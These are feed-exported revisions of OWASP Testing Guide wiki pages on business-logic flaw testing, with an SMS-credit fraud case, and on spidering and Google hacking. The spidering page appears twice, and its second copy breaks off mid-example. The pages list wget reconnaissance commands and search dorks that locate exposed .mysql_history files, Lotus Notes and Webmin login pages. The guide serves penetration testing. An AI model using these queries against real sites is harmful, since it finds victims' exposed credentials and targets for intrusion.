'''Example''': Setting the quantity of a product on an e-commerce site as a negative number may result in funds being credited to the attacker. The countermeasure to this problem is to implement stronger data validation, as the application permits negative numbers to be entered in the quantity field of the shopping cart.&lt;br /&gt;
&lt;br /&gt;
==Black Box Testing and Examples==&lt;br /&gt;
&lt;br /&gt;
Although uncovering logical vulnerabilities will probably always remain an art, one can attempt to go about it systematically to a great extent. Here is a suggested approach that consists of:  &lt;br /&gt;
* Understanding the application&lt;br /&gt;
* Creating raw data for designing logical tests&lt;br /&gt;
* Designing the logical tests&lt;br /&gt;
* Standard prerequisites&lt;br /&gt;
* Execution of logical tests&lt;br /&gt;
&lt;br /&gt;
===Understanding the application===&lt;br /&gt;
&lt;br /&gt;
Understanding the application thoroughly is a prerequisite for designing logical tests. To start with: &lt;br /&gt;
* Get any documentation describing the application's functionality. Examples of this include:&lt;br /&gt;
** Application manuals&lt;br /&gt;
** Requirements documents&lt;br /&gt;
** Functional specifications&lt;br /&gt;
** Use or Abuse Cases&lt;br /&gt;
* Explore the application manually and try to understand all the different ways in which the application can be used, the acceptable usage scenarios and the authorization limits imposed on various users&lt;br /&gt;
&lt;br /&gt;
===Creating raw data for designing logical tests===&lt;br /&gt;
&lt;br /&gt;
In this phase, one should ideally come up with the following data: &lt;br /&gt;
* All application '''business scenarios'''. For example, for an e-commerce application this might look like,&lt;br /&gt;
** Product ordering&lt;br /&gt;
** Checkout&lt;br /&gt;
** Browse&lt;br /&gt;
** Search for a product&lt;br /&gt;
* '''Workflows'''. This is different from business scenarios since it involves a number of different users. Examples include:&lt;br /&gt;
** Order creation and approval&lt;br /&gt;
** Bulletin board (one user posts an article that is reviewed by a moderator and ultimately seen by all users)&lt;br /&gt;
* Different '''user roles'''&lt;br /&gt;
** Administrator&lt;br /&gt;
** Manager&lt;br /&gt;
** Staff&lt;br /&gt;
** CEO&lt;br /&gt;
* Different '''groups or departments''' (note that there could be a tree (e.g. the Sales group of the heavy engineering division) or tagged view (e.g. someone could be a member of Sales as well as marketing) associated with this. &lt;br /&gt;
** Purchasing&lt;br /&gt;
** Marketing&lt;br /&gt;
** Engineering&lt;br /&gt;
* '''Access rights of various user roles and groups''' - The application allows various users privileges on some resource (or asset) and we need to specify the constraints of these privileges.  One simple way to know these business rules/constraints is to make use of the application documentation effectively.  For example, look for clauses like &amp;quot;If the administrator allows individual user access..&amp;quot;, &amp;quot;If configured by the administrator..&amp;quot; and you know the restriction imposed by the application. &lt;br /&gt;
* '''Privilege Table''' – After learning about the various privileges on the resources along with the constraints, you are all set to create a Privilege Table.  Get answers to: &lt;br /&gt;
** What can each user role do on which resource with what constraint?  This will help you in deducing who cannot do what on which resource.  &lt;br /&gt;
** What are the policies across groups? &lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;display: block; margin-left: 16px;&amp;quot;&amp;gt;Consider the following privileges: &amp;quot;Approve expense report&amp;quot;, &amp;quot;Book a conference room&amp;quot;, &amp;quot;Transfer money from own account to another user's account&amp;quot;. A privilege could be thought of as a combination of a verb (e.g. Approve, Book, Withdraw) and one or more nouns (Expense report, conference room, account). The output of this activity is a grid with the various privileges forming the leftmost column while all user roles and groups would form the column headings of other columns. There would also be a “Comments” column that qualifies data in this grid.&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;blockquote style=&amp;quot;background: white; border: 1px solid rgb(153, 153, 153); padding: 1em;&amp;quot;&amp;gt;&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot; style=&amp;quot;margin: 1em auto 1em auto&amp;quot;&lt;br /&gt;
| '''Privilege''' || '''Who can do this''' || '''Comment'''&lt;br /&gt;
|-&lt;br /&gt;
| Approve expense report || Any supervisor may approve report submitted by his subordinate || &lt;br /&gt;
|-&lt;br /&gt;
| Submit expense report || Any employee may do this for himself || &lt;br /&gt;
|-&lt;br /&gt;
| Transfer funds from one account to another || An account holder may transfer funds from own account to another account || &lt;br /&gt;
|-&lt;br /&gt;
| View payslip || Any employee may see his own || &lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This data is a key input for designing logical tests. &lt;br /&gt;
&lt;br /&gt;
===Developing logical tests===&lt;br /&gt;
&lt;br /&gt;
Here are several guidelines to designing logical tests from the raw data gathered. &lt;br /&gt;
&lt;br /&gt;
* '''Privilege Table''' - Make use of the privilege table as a reference while creating application specific logical threats. In general, develop a test for each admin privilege to check if it could be executed illegally by a user role with minimum privileges or no privilege.  For example:&lt;br /&gt;
** Privilege: Operations Manager cannot approve a customer order&lt;br /&gt;
** Logical Test: Operations Manager approves a customer order&lt;br /&gt;
&lt;br /&gt;
* '''Improper handling of special user action sequences''' - Navigating through an application in a certain way or revisiting pages out of synch can cause logical errors which may cause the application to do something it's not meant to. For example:&lt;br /&gt;
** A wizard application where one fills in forms and proceeds to the next step. One cannot in any normal way (according to the developers) enter the wizard in the middle of the process. Bookmarking a middle step (say step 4 of 7), then continuing with the other steps until completion or form submission, then revisiting the middle step that was bookmarked may &amp;quot;upset&amp;quot; the backend logic due to a weak ''state model''.&lt;br /&gt;
&lt;br /&gt;
* '''Cover all business transaction paths''' - While designing tests, check for all alternative ways to perform the same business transaction. For example, create tests for both cash and credit payment modes.&lt;br /&gt;
&lt;br /&gt;
* '''Client-side validation''' - Look at all client side validations and see how they could be the basis for designing logical tests.  For example, a funds transfer transaction has a validation for negative values in the amount field.  This information can be used to design a logical test such as &amp;quot;A user transfers negative amount of money&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
===Standard prerequisites===&lt;br /&gt;
&lt;br /&gt;
Typically, some initial activities useful as setup are: &lt;br /&gt;
* Create test users with different permissions&lt;br /&gt;
* Browse all the important business scenarios/workflows in the application&lt;br /&gt;
&lt;br /&gt;
===Execution of logical tests=== &lt;br /&gt;
&lt;br /&gt;
Pick up each logical test and do the following:&lt;br /&gt;
* Analyze the HTTP/S requests underlying the acceptable usage scenario corresponding to the logical test&lt;br /&gt;
** Check the order of HTTP/S requests&lt;br /&gt;
** Understand the purpose of hidden fields, form fields, query string parameters being passed&lt;br /&gt;
* Try and subvert it by exploiting the known vulnerabilities&lt;br /&gt;
* Verify that the application fails for the test &lt;br /&gt;
&lt;br /&gt;
===A real world example===&lt;br /&gt;
&lt;br /&gt;
In order to provide the reader with a better understanding of this issue and how to test it, we describe a real world case that was investigated by one of the authors in 2006.&lt;br /&gt;
At that time, a mobile telecom operator (we'll call it FlawedPhone.com) launched a webmail+SMS service for its customers, with the following characteristics:&lt;br /&gt;
&lt;br /&gt;
* New customers, when buying a SIM card, can open a free, permanent email account with the flawedphone.com domain&lt;br /&gt;
* The email is preserved even if the customers “transfers” the SIM card to another telecom operator&lt;br /&gt;
* However, as long as the SIM card is registered to FlawedPhone, each time an email is received, a SMS message is sent to the customer, including sender and subject&lt;br /&gt;
* The SMS application checks that the target phone number is a legitimate customer from its own copy of the FlawedPhone customers list, which is automatically updated every ~8 hours.&lt;br /&gt;
&lt;br /&gt;
The application had been developed following security best practices but it suffered from a business logic flaw and FlawedPhone was soon targeted by the following fraud attack:&lt;br /&gt;
&lt;br /&gt;
* The attacker bought a new FlawedPhone SIM card&lt;br /&gt;
* The attacker immediately requested to transfer the SIM card to another mobile carrier, which credits 0.05 € for each received SMS message&lt;br /&gt;
* As soon as the SIM card was “transferred” to the new provider, the attacker started sending hundreds of emails to her FlawedPhone email account&lt;br /&gt;
* The attacker had a ~8 hours window before the email+SMS application had its list updated and stopped delivering messages&lt;br /&gt;
* By that time, the attacker had ~50-100  € in the card, and proceeded to sell it on eBay&lt;br /&gt;
&lt;br /&gt;
The developers thought that SMS messages delivered during the 8 hours period would have introduced a negligible cost but failed to consider the likelihood of an automated attack like the one described.&lt;br /&gt;
As we can see, the synchronization time, combined with the lack of a limit to the number of messages that could be delivered in a given period of time, introduced a critical flaw in the system that was soon exploited by malicious users. &lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Business logic - http://en.wikipedia.org/wiki/Business_logic&lt;br /&gt;
* Prevent application logic attacks with sound app security practices - http://searchappsecurity.techtarget.com/qna/0,289202,sid92_gci1213424,00.html?bucket=NEWS&amp;amp;topic=302570&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Automated tools are incapable of detecting logical vulnerabilities. For example, tools have no means of detecting if a bank’s &amp;quot;fund transfer&amp;quot; page allows a user to transfer a negative amount to another user (in other words, it allows a user to transfer a positive amount into his own account) nor do they have any mechanism to help the human testers to suspect this state of affairs.&lt;br /&gt;
&lt;br /&gt;
'''Preventing transfer of a negative amount''': Tools could be enhanced so that they can report client side validations to the tester. For example, the tool may have a feature whereby it fills a form with strange values and attempts to submit it using a full-fledged browser implementation. It should check to see whether the browser actually submitted the request. Detecting that the browser has not submitted the request would signal to the tool that submitted values are not being accepted due to client-side validation. This would be reported to the tester, who would then understand the need for designing appropriate logical tests that bypass client-side validation. In our &amp;quot;negative amount transfer&amp;quot; example, the tester would learn that the transfer of negative amounts may be an interesting test. He could then design a test wherein the tool bypasses the client-side validation code and checks to see if the resulting response contains the string &amp;quot;funds transfer successful&amp;quot;. The point is not that the tool will be able to detect this or other vulnerabilities of this nature, rather that, with some thought, it would be possible to add many such features to enlist the tools in aiding human testers to find such logical vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing:_Spidering_and_googling&amp;diff=16671</id>
		<title>Testing: Spidering and googling</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing:_Spidering_and_googling&amp;diff=16671"/>
				<updated>2007-02-22T23:10:36Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] &amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
This section describes how to retrieve information about the application being tested using spidering and googling techniques.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Web spiders are the most powerful and useful tools developed for both good and bad intentions on the internet. A spider serves one major function, Data Mining. The way a typical spider (like Google) works is by crawling a web site one page at a time, gathering and storing the relevant information such as email addresses, meta-tags, hidden form data, URL information, links, etc. The spider then crawls all the links in that page, collecting relevant information in each following page, and so on. Before you know it, the spider has crawled thousands of links and pages gathering bits of information and storing it into a database. This web of paths is where the term 'spider' is derived from. &lt;br /&gt;
&lt;br /&gt;
The Google search engine found at http://www.google.com offers many features, including language and document translation; web, image, newsgroups, catalog, and news searches; and more. These features offer obvious benefits to even the most uninitiated web surfer, but these same features offer far more nefarious possibilities to the most malicious Internet users, including hackers, computer criminals, identity thieves, and even terrorists. This article outlines the more harmful applications of the Google search engine, techniques that have collectively been termed &amp;quot;Google Hacking.&amp;quot;&lt;br /&gt;
In 1992, there were about 15,000 web sites, in 2006 the number has exceeded 100 million.   What if a simple query to a search engine like Google such as &amp;quot;Hackable Websites w/ Credit Card Information&amp;quot; produced a list of websites that contained customer credit card data of thousands of customers per company?  &lt;br /&gt;
If the attacker is aware of a web application that stores a clear text password file in a directory and wants to gather these targets, then he could search on &amp;quot;intitle:&amp;quot;Index of&amp;quot; .mysql_history&amp;quot; and the search engine will provide him with a list of target systems that may divulge these database usernames and passwords (out of a possible 100 million web sites available). Or perhaps the attacker has a new method to attack a Lotus Notes web server and simply wants to see how many targets are on the internet, he could search on &amp;quot;inurl:domcfg.nsf&amp;quot;. Apply the same logic to a worm looking for its new victim.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===Spidering===&lt;br /&gt;
&lt;br /&gt;
'''Description and goal'''&lt;br /&gt;
&lt;br /&gt;
Our goal is to create a map of the application with all the points of access (gates) to the application.&lt;br /&gt;
This will be useful for the second active phase of penetration testing.&lt;br /&gt;
You can use a tool such as wget (powerful and very easy to use) to retrieve all the information published by the application.&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&lt;br /&gt;
The -s option is used to collect the HTTP header of the web requests. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
wget -s &amp;lt;target&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Tue, 12 Dec 2006 20:46:39 GMT&lt;br /&gt;
Server: Apache/1.3.37 (Unix) mod_jk/1.2.8 mod_deflate/1.0.21 PHP/5.1.6 mod_auth_&lt;br /&gt;
passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.26&lt;br /&gt;
34a mod_ssl/2.8.28 OpenSSL/0.9.7a&lt;br /&gt;
X-Powered-By: PHP/5.1.6&lt;br /&gt;
Set-Cookie: PHPSESSID=b7f5c903f8fdc254ccda8dc33651061f; expires=Friday, 05-Jan-0&lt;br /&gt;
7 00:19:59 GMT; path=/&lt;br /&gt;
Expires: Sun, 19 Nov 1978 05:00:00 GMT&lt;br /&gt;
Last-Modified: Tue, 12 Dec 2006 20:46:39 GMT&lt;br /&gt;
Cache-Control: no-store, no-cache, must-revalidate&lt;br /&gt;
Cache-Control: post-check=0, pre-check=0&lt;br /&gt;
Pragma: no-cache&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html; charset=utf-8&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&lt;br /&gt;
The -r option is used to collect recursively the web-site's content and the -D option restricts the request only for the specified domain.  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
wget -r -D &amp;lt;domain&amp;gt; &amp;lt;target&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
22:13:55 (15.73 KB/s) - `www.******.org/indice/13' saved [8379]&lt;br /&gt;
&lt;br /&gt;
--22:13:55--  http://www.******.org/*****/********&lt;br /&gt;
           =&amp;gt; `www.******.org/*****/********'&lt;br /&gt;
Connecting to www.******.org[xx.xxx.xxx.xx]:80... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: unspecified [text/html]&lt;br /&gt;
&lt;br /&gt;
    [   &amp;lt;=&amp;gt;                                                                                                                                                                ] 11,308        17.72K/s                     &lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Googling===&lt;br /&gt;
&lt;br /&gt;
'''Description and goal'''&lt;br /&gt;
&lt;br /&gt;
The scope of this activity is to find information about a single web site published on the internet or to find a specific kind of application such as Webmin or VNC.&lt;br /&gt;
There are tools available that can assist with this technique, for example googlegath, but it is also possibile to perform this operation manually using Google's web site search facilities.  This operation does not require specialist technical skills and is a good way to collect information about a web target.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Useful Google Advanced Search techniques '''&lt;br /&gt;
&lt;br /&gt;
* Use the plus sign (+) to force a search for an overly common word. Use the minus sign (-) to exclude a term from a search. No spaces follow these signs.&lt;br /&gt;
* To search for a phrase, supply the phrase surrounded by double quotes (&amp;quot; &amp;quot;).&lt;br /&gt;
* A period (.) serves as a single-character wildcard.&lt;br /&gt;
* An asterisk (*) represents any word —- not the completion of a word, as is traditionally used.&lt;br /&gt;
&lt;br /&gt;
Google advanced operators help refine searches. Advanced operators use the following syntax: operator:search_term . Notice that there is no space between the operator, the colon, and the search term. A list of operators and search terms follows:&lt;br /&gt;
* The ''site'' operator instructs Google to restrict a search to a specific web site or domain. The web site to search must be supplied after the colon.&lt;br /&gt;
* The ''filetype'' operator instructs Google to search only within the text of a particular type of file. The file type to search must be supplied after the colon. Don't include a period before the file extension.&lt;br /&gt;
* The ''link'' operator instructs Google to search within hyperlinks for a search term.&lt;br /&gt;
* The ''cache'' operator displays the version of a web page as it appeared when Google crawled the site. The URL of the site must be supplied after the colon.&lt;br /&gt;
* The ''intitle'' operator instructs Google to search for a term within the title of a document.&lt;br /&gt;
* The ''inurl'' operator instructs Google to search only within the URL (web address) of a document. The search term must follow the colon.&lt;br /&gt;
&lt;br /&gt;
The following are a set googling examples (for a complete list look at [1]):&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
site:www.xxxxx.ca AND intitle:&amp;quot;index.of&amp;quot; &amp;quot;backup&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&lt;br /&gt;
The operator site: restricts a search in a specific domain, while the intitle: operator makes it possibile to find the pages that contain &amp;quot;index of backup&amp;quot; as a link title of the Google output.&amp;lt;br&amp;gt;&lt;br /&gt;
The AND boolean operator is used to combine more conditions in the same query.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Index of /backup/&lt;br /&gt;
&lt;br /&gt;
 Name                    Last modified       Size  Description&lt;br /&gt;
&lt;br /&gt;
 Parent Directory        21-Jul-2004 17:48      -  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;Login to Webmin&amp;quot; inurl:10000&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&lt;br /&gt;
The query produces an output with every Webmin authentication interface collected by Google during the spidering process.&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
site:www.xxxx.org AND filetype:wsdl wsdl&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&lt;br /&gt;
The filetype operator is used to find specific kind of files on the web-site.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Using a search engine to discover virtual hosts'''&lt;br /&gt;
&lt;br /&gt;
Live.com, another well-known search engine (see link at the bottom of the page), provides the &amp;quot;ip&amp;quot; operator, which returns all the pages that are known to belong to a certain IP address. This is a very useful technique to find out which virtual hosts are configured on the tested server. For instance, the following query will return all indexed pages belonging to the domain owasp.org:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ip:216.48.3.18&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Johnny Long: &amp;quot;Google Hacking&amp;quot; - http://johnny.ihackstuff.com&lt;br /&gt;
&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Google – http://www.google.com&amp;lt;br&amp;gt;&lt;br /&gt;
* Live Search - http://www.live.com&lt;br /&gt;
* wget - http://www.gnu.org/software/wget/&lt;br /&gt;
* Foundstone SiteDigger - http://www.foundstone.com/index.htm?subnav=resources/navigation.htm&amp;amp;subcontent=/resources/proddesc/sitedigger.htm&lt;br /&gt;
* NTOInsight - http://www.ntobjectives.com/freeware/index.php&amp;lt;br&amp;gt;&lt;br /&gt;
* Burp Spider - http://portswigger.net/spider/&amp;lt;br&amp;gt;&lt;br /&gt;
* Wikto - http://www.sensepost.com/research/wikto/&amp;lt;BR&amp;gt;&lt;br /&gt;
* Googlegath - http://www.nothink.org/perl/googlegath/&amp;lt;br&amp;gt;&lt;br /&gt;
* Advanced Dork (Firefox Add-on) - https://addons.mozilla.org/firefox/2144/&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
{{Category:OWASP Testing Project AoC}}&lt;/div&gt;</summary>
		<author><name>Icesurfer</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing:_Spidering_and_googling&amp;diff=16670</id>
		<title>Testing: Spidering and googling</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing:_Spidering_and_googling&amp;diff=16670"/>
				<updated>2007-02-22T23:07:44Z</updated>
		
		<summary type="html">&lt;p&gt;Icesurfer: /* References */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]] &amp;lt;br&amp;gt;&lt;br /&gt;
{{Template:OWASP Testing Guide v2}}&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&lt;br /&gt;
This section describes how to retrieve information about the application being tested using spidering and googling techniques.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&lt;br /&gt;
Web spiders are the most powerful and useful tools developed for both good and bad intentions on the internet. A spider serves one major function, Data Mining. The way a typical spider (like Google) works is by crawling a web site one page at a time, gathering and storing the relevant information such as email addresses, meta-tags, hidden form data, URL information, links, etc. The spider then crawls all the links in that page, collecting relevant information in each following page, and so on. Before you know it, the spider has crawled thousands of links and pages gathering bits of information and storing it into a database. This web of paths is where the term 'spider' is derived from. &lt;br /&gt;
&lt;br /&gt;
The Google search engine found at http://www.google.com offers many features, including language and document translation; web, image, newsgroups, catalog, and news searches; and more. These features offer obvious benefits to even the most uninitiated web surfer, but these same features offer far more nefarious possibilities to the most malicious Internet users, including hackers, computer criminals, identity thieves, and even terrorists. This article outlines the more harmful applications of the Google search engine, techniques that have collectively been termed &amp;quot;Google Hacking.&amp;quot;&lt;br /&gt;
In 1992, there were about 15,000 web sites, in 2006 the number has exceeded 100 million.   What if a simple query to a search engine like Google such as &amp;quot;Hackable Websites w/ Credit Card Information&amp;quot; produced a list of websites that contained customer credit card data of thousands of customers per company?  &lt;br /&gt;
If the attacker is aware of a web application that stores a clear text password file in a directory and wants to gather these targets, then he could search on &amp;quot;intitle:&amp;quot;Index of&amp;quot; .mysql_history&amp;quot; and the search engine will provide him with a list of target systems that may divulge these database usernames and passwords (out of a possible 100 million web sites available). Or perhaps the attacker has a new method to attack a Lotus Notes web server and simply wants to see how many targets are on the internet, he could search on &amp;quot;inurl:domcfg.nsf&amp;quot;. Apply the same logic to a worm looking for its new victim.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&lt;br /&gt;
===Spidering===&lt;br /&gt;
&lt;br /&gt;
'''Description and goal'''&lt;br /&gt;
&lt;br /&gt;
Our goal is to create a map of the application with all the points of access (gates) to the application.&lt;br /&gt;
This will be useful for the second active phase of penetration testing.&lt;br /&gt;
You can use a tool such as wget (powerful and very easy to use) to retrieve all the information published by the application.&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&lt;br /&gt;
The -s option is used to collect the HTTP header of the web requests. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
wget -s &amp;lt;target&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Tue, 12 Dec 2006 20:46:39 GMT&lt;br /&gt;
Server: Apache/1.3.37 (Unix) mod_jk/1.2.8 mod_deflate/1.0.21 PHP/5.1.6 mod_auth_&lt;br /&gt;
passthrough/1.8 mod_log_bytes/1.2 mod_bwlimited/1.4 FrontPage/5.0.2.26&lt;br /&gt;
34a mod_ssl/2.8.28 OpenSSL/0.9.7a&lt;br /&gt;
X-Powered-By: PHP/5.1.6&lt;br /&gt;
Set-Cookie: PHPSESSID=b7f5c903f8fdc254ccda8dc33651061f; expires=Friday, 05-Jan-0&lt;br /&gt;
7 00:19:59 GMT; path=/&lt;br /&gt;
Expires: Sun, 19 Nov 1978 05:00:00 GMT&lt;br /&gt;
Last-Modified: Tue, 12 Dec 2006 20:46:39 GMT&lt;br /&gt;
Cache-Control: no-store, no-cache, must-revalidate&lt;br /&gt;
Cache-Control: post-check=0, pre-check=0&lt;br /&gt;
Pragma: no-cache&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html; charset=utf-8&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&lt;br /&gt;
The -r option is used to collect recursively the web-site's content and the -D option restricts the request only for the specified domain.  &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
wget -r -D &amp;lt;domain&amp;gt; &amp;lt;target&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
22:13:55 (15.73 KB/s) - `www.******.org/indice/13' saved [8379]&lt;br /&gt;
&lt;br /&gt;
--22:13:55--  http://www.******.org/*****/********&lt;br /&gt;
           =&amp;gt; `www.******.org/*****/********'&lt;br /&gt;
Connecting to www.******.org[xx.xxx.xxx.xx]:80... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: unspecified [text/html]&lt;br /&gt;
&lt;br /&gt;
    [   &amp;lt;=&amp;gt;                                                                                                                                                                ] 11,308        17.72K/s                     &lt;br /&gt;
&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Googling===&lt;br /&gt;
&lt;br /&gt;
'''Description and goal'''&lt;br /&gt;
&lt;br /&gt;
The scope of this activity is to find information about a single web site published on the internet or to find a specific kind of application such as Webmin or VNC.&lt;br /&gt;
There are tools available that can assist with this technique, for example googlegath, but it is also possibile to perform this operation manually using Google's web site search facilities.  This operation does not require specialist technical skills and is a good way to collect information about a web target.  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Useful Google Advanced Search techniques '''&lt;br /&gt;
&lt;br /&gt;
* Use the plus sign (+) to force a search for an overly common word. Use the minus sign (-) to exclude a term from a search. No spaces follow these signs.&lt;br /&gt;
* To search for a phrase, supply the phrase surrounded by double quotes (&amp;quot; &amp;quot;).&lt;br /&gt;
* A period (.) serves as a single-character wildcard.&lt;br /&gt;
* An asterisk (*) represents any word —- not the completion of a word, as is traditionally used.&lt;br /&gt;
&lt;br /&gt;
Google advanced operators help refine searches. Advanced operators use the following syntax: operator:search_term . Notice that there is no space between the operator, the colon, and the search term. A list of operators and search terms follows:&lt;br /&gt;
* The ''site'' operator instructs Google to restrict a search to a specific web site or domain. The web site to search must be supplied after the colon.&lt;br /&gt;
* The ''filetype'' operator instructs Google to search only within the text of a particular type of file. The file type to search must be supplied after the colon. Don't include a period before the file extension.&lt;br /&gt;
* The ''link'' operator instructs Google to search within hyperlinks for a search term.&lt;br /&gt;
* The ''cache'' operator displays the version of a web page as it appeared when Google crawled the site. The URL of the site must be supplied after the colon.&lt;br /&gt;
* The ''intitle'' operator instructs Google to search for a term within the title of a document.&lt;br /&gt;
* The ''inurl'' operator instructs Google to search only within the URL (web address) of a document. The search term must follow the colon.&lt;br /&gt;
&lt;br /&gt;
The following are a set googling examples (for a complete list look at [1]):&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
site:www.xxxxx.ca AND intitle:&amp;quot;index.of&amp;quot; &amp;quot;backup&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&lt;br /&gt;
The operator site: restricts a search in a specific domain, while the intitle: operator makes it possibile to find the pages that contain &amp;quot;index of backup&amp;quot; as a link title of the Google output.&amp;lt;br&amp;gt;&lt;br /&gt;
The AND boolean operator is used to combine more conditions in the same query.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Index of /backup/&lt;br /&gt;
&lt;br /&gt;
 Name                    Last modified       Size  Description&lt;br /&gt;
&lt;br /&gt;
 Parent Directory        21-Jul-2004 17:48      -  &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;quot;Login to Webmin&amp;quot; inurl:10000&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Result:'''&lt;br /&gt;
&lt;br /&gt;
The query produces an output with every Webmin authentication interface collected by Google during the spidering process.&lt;br /&gt;
&lt;br /&gt;
'''Test:'''&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
